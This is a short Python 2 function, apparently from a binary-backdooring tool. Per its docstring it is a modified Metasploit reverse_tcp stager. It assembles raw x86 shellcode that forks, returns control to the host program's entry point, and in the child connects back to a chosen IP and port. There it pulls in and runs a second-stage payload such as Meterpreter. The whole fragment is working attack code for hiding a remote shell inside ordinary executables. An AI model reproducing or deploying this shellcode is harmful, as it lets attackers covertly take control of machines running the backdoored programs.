'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/x64/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'

def reverse_tcp_stager(self, CavesPicked={}):

    if (self.PORT is None):
        print 'Must    provide    port'
        return False
    self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
    self.shellcode1 += '\xbd'
    self.shellcode1 += struct.pack('<I', self.e_entry)
    self.shellcode1 += '\xff\xe5'
    self.shellcode1 += '1\xdb\xf7\xe3SCSj\x02\xb0f\x89\xe1\xcd\x80\x97[h'
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'h\x02\x00'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += '\x89\xe1jfXPQW\x89\xe1C\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0}\xcd\x80[\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1'
    self.shellcode = self.shellcode1
    return self.shellcode1
